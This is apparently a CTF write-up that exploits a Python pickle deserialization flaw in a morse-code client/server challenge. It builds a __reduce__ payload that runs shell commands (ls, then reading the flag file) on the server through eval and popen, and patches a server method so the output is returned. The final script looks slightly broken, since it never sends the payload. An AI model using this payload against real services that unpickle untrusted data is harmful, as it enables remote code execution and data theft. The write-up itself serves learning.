The provided 7z-file contains the sources of the server-application as well as a client-application. Both applications are written in python. A lo ok at the sources shows us the applications function. The client asks for text input in either plain-text or morse code
followed by the question  on how to interpret the input. These Informations will be packed in a message object, serialized with pickle and sent to the server. The server deserializes this msg object, gives this object to a processor which will encodes or decodes the message string and then the server sends back the answer to the client.

We don't know how we can get the flag, so we have to find a way list the files on the server to see if there exists a flag file. So we try to use the known pickle vulnerability to execute a system command. For this vulnerabilty we have to write a class which has the method __reduce__. For the exploit __reduce__ has to return a tuple with a callable object and a tuple with the arguments for the callable object. To execute a system command we can use os.system as callabl e object.

class Exploit(object):

        def __reduce__(self):
                return (os.system,('/bin/ls',))

This function will be called for unpickling the serialized object. But the server has to send us the result of the system command. So we can't use os.system only. We need to build a msg object which has set the ls result as text. This is more complex than a simple system command. Therefore we use eval to build a msg object and set the output of ls as text.

class Exploit(object):

        def __reduce__(self):
                return (eval,('__import__("message").Msg(globals()["sys"].modules["os"].popen("/bin/ls").read())',))

But now we have another problem. The server will encode the output before he send us the result. One way to avoid this is to override the process method of the processor class.

class Exploit(object):

        def __reduce__(self):
                read = '__import__("message").Msg(globals()["sys"].modules["os"].popen("/bin/ls").read()'
                setitem = 'globals()["sys"].modules["__main__"].__dict__["Processor"].__dict__.__setitem__("process",lambda self,msg:msg.text))'
                return (eval,('%s, %s' % (read, setitem)))

Now the process method will return the msg text without encoding. So we have a complete exploit.

#!/usr/bin/env python
import pickle
import socket

class Exploit(object):

        def __reduce__(self):

        return (eval,('__import__("message").Msg(globals()["sys"].modules["os"].popen("/bin/ls").read(),
                globals()["sys"].modules["__main__"].__dict__["Processor"].__dict__.__setitem__("process",lambda self,msg:msg.text))',))

HOST = ''
PORT = 6000

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST, PORT))

data = pickle.dumps(Exploit())

response = sock.recv(1024)

print response


Now we see all files in the server directory.

We edit our exploit to read the the flag file and we get the flag